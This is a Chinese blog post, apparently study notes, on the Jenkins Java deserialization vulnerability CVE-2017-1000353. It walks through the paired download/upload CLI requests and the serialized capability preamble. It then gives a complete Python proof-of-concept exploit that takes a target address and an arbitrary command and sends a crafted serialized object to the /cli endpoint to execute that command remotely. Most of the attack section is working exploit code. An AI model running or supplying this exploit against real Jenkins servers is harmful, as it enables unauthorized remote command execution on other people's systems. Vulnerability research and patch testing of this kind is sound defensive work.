zoukankan      html  css  js  c++  java
  • Jenkins反序列化漏洞cve-2017-1000353

    一、漏洞原理:

    本地没有环境:参考:https://blogs.securiteam.com/index.php/archives/3171    进行学习理解记录。

    首先这是一个java反序列化漏洞,一定是command在序列化信息中,反序列化时候直接执行了该命令。

    攻击过程学习:

    下文的session是一个uuid,类型4

    1 #可以如下生成
    2 session = uuid.uuid4()

    1、首先要发送一个请求,是一个下载请求。这个请求是要启动一个双向数据传输频道。频道的标识就是session。而side字段则是用来标识传输方向

    对应在代码段:

     1 def Download(url,session):
     2     headers = {'Side':'download'}
     3     headers['Content-type'] = 'application/x-www-form-urlencoded'
     4     headers['Session'] = session
     5     headers['Transfer-Encoding'] = 'chunked'
     6     try:
     7         response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
     8     except Exception,ex:
     9         print ex
    10         exit(0)
    11     print response.content

    然后是第二个请求:双向信道发送组件,第一个请求被阻塞,一直到第二个请求被发送。此时session与之前保持一致,side改成upload。

    数据部分格式规范如下:

    (1)前导码

    前导码包含一个base64编码的序列化对象。“ 能力 ” 类型的序列化对象只是告诉服务器
    客户端具有哪些能力(例如HTTP 分块编码)。

    1 Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

    (2)Proto部分 (可能是所说的额外字节)

    1 Proto = 'x00x00x00x00'

    (3)payload部分

    在前导码和一些额外的字节之后,Jenkins服务器期望类型为Command的序列化对象。由于Jenkins不验证序列化对象,所以可以发送任何序列化对象。

    1 def Payload_Init(command):
    2     global File_Serialization
    3     command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
    4     print command
    5     return_number = os.system(command)
    6     if return_number != 0:
    7         print "Call Jar Packet To Init The Payload Error"
    8         exit(0)
    9     File_Serialization = open("./payload.ser","rb").read()

    所有第二个数据包发送的数据整合:

    1 def Create_Payload_Chunked():
    2     yield Premle
    3     yield Proto
    4     yield File_Serialization

    发送第二个数据包:

     1 def Upload_Chunked(url,session,data):
     2     headers = {'Side':'upload'}
     3     headers['Session'] = session
     4     headers['Content-type'] = 'application/octet-stream'
     5     headers['Accept-Encoding'] = None
     6     headers['Transfer-Encoding'] = 'chunked'
     7     headers['Cache-Control'] = 'no-cache'
     8     try:    
     9         response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
    10     except Exception,ex:
    11         print ex
    12         exit(0)

    整个攻击流程

    1 def Attack():
    2     print "start"
    3     session = str(uuid.uuid4())
    4     thread_object = threading.Thread(target=Download,args=(Target,session))
    5     thread_object.start()
    6     time.sleep(1)
    7     print "pwn"
    8     #Upload(URL, session, create_payload())
    9     Upload_Chunked(Target,session,"asdf")

    服务器端对应处理

    反序列化command对象

    然后这个方法在这里被调用

    返回了这个序列化好的对象cmd

    read方法调用,把返回的对象赋值给了cmd,也就是被读进一个ReaderThread类型的线程。

    该线程由类“ CliEndpointResponse ”中调用的“ upload ”方法触发

    在该方法中,HTTP主体数据被读取,并且调用“notify”方法来通知线程。

    整体POC

      1 # -*- coding: utf-8 -*-
      2 """
      3 援引自:https://7f52.com/?p=450
      4 重构人:陈然
      5 公司:360企业安全集团
      6 """
      7 
      8 #需要引入的库文件
      9 import os
     10 import uuid
     11 import gzip
     12 import zlib
     13 import time
     14 import urllib
     15 import socket
     16 import urllib3
     17 import requests
     18 import threading
     19 from optparse import OptionParser
     20 
     21 #全局变量定义:
     22 #Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
     23 Proxy = None#HTTP、HTTPS协议代理设置
     24 Target="http://%s:8080/cli"#攻击目标
     25 Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
     26 Proto = 'x00x00x00x00'
     27 File_Serialization = None
     28 socket.setdefaulttimeout(3)
     29 
     30 
     31 #全局函数定义
     32 def Payload_Init(command):
     33     global File_Serialization
     34     command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
     35     print command
     36     return_number = os.system(command)
     37     if return_number != 0:
     38         print "Call Jar Packet To Init The Payload Error"
     39         exit(0)
     40     File_Serialization = open("./payload.ser","rb").read()
     41 
     42 def Download(url,session):
     43     headers = {'Side':'download'}
     44     headers['Content-type'] = 'application/x-www-form-urlencoded'
     45     headers['Session'] = session
     46     headers['Transfer-Encoding'] = 'chunked'
     47     try:
     48         response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
     49     except Exception,ex:
     50         print ex
     51         exit(0)
     52     print response.content
     53 
     54 '''
     55 def Upload(url,session,data):
     56     headers = {'Side':'upload'}
     57     headers['Session'] = session
     58     headers['Content-type'] = 'application/octet-stream'
     59     headers['Accept-Encoding'] = None
     60     try:
     61         response = requests.post(url,data=data,headers=headers,proxies=Proxy)
     62     except Exception,ex:
     63         print ex
     64         exit(0)
     65 '''
     66         
     67 def Upload_Chunked(url,session,data):
     68     headers = {'Side':'upload'}
     69     headers['Session'] = session
     70     headers['Content-type'] = 'application/octet-stream'
     71     headers['Accept-Encoding'] = None
     72     headers['Transfer-Encoding'] = 'chunked'
     73     headers['Cache-Control'] = 'no-cache'
     74     try:    
     75         response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
     76     except Exception,ex:
     77         print ex
     78         exit(0)
     79     
     80 def Null_Payload():
     81     yield " "
     82     
     83 """    
     84 def Create_Payload():
     85     payload = Premle + Proto + File_Serialization
     86     return payload
     87 
     88 """
     89 
     90 def Create_Payload_Chunked():
     91     yield Premle
     92     yield Proto
     93     yield File_Serialization
     94 
     95 def Attack():
     96     print "start"
     97     session = str(uuid.uuid4())
     98     thread_object = threading.Thread(target=Download,args=(Target,session))
     99     thread_object.start()
    100     time.sleep(1)
    101     print "pwn"
    102     #Upload(URL, session, create_payload())
    103     Upload_Chunked(Target,session,"asdf")
    104     
    105 #程序入口
    106 if __name__ == "__main__":
    107     parser = OptionParser()  
    108     parser.add_option("-t","--target",dest="target",help="Target IP address!")
    109     parser.add_option("-c","--command",dest="command",help="The command to execute!")
    110     parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
    111     (options, args) = parser.parse_args()
    112     optionslist = [options.target,options.command,options.protocol]
    113     if None in optionslist or "" in optionslist:
    114         print "Please check your input parameters!"        
    115     Target = Target%options.target
    116     command = options.command
    117     protocol = options.protocol
    118     if protocol == "HTTP":
    119         pass
    120     elif protocol == "HTTPS":
    121         Target = Target.replace("http","https")
    122     else:
    123         print "Unknown Protocol!"
    124     Payload_Init(command)
    125     Attack()
  • 相关阅读:
    SDN第七次上机作业
    SDN第六次上机作业
    SDN第五次上机实验
    SDN阅读作业(二)
    软件评测——腾讯音视频
    SDN上机第四次作业
    SDN上机第三次作业
    SDN阅读作业
    SpringBoot整合Swagger2
    JavaWeb项目前后端分离
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8033375.html
Copyright © 2011-2022 走看看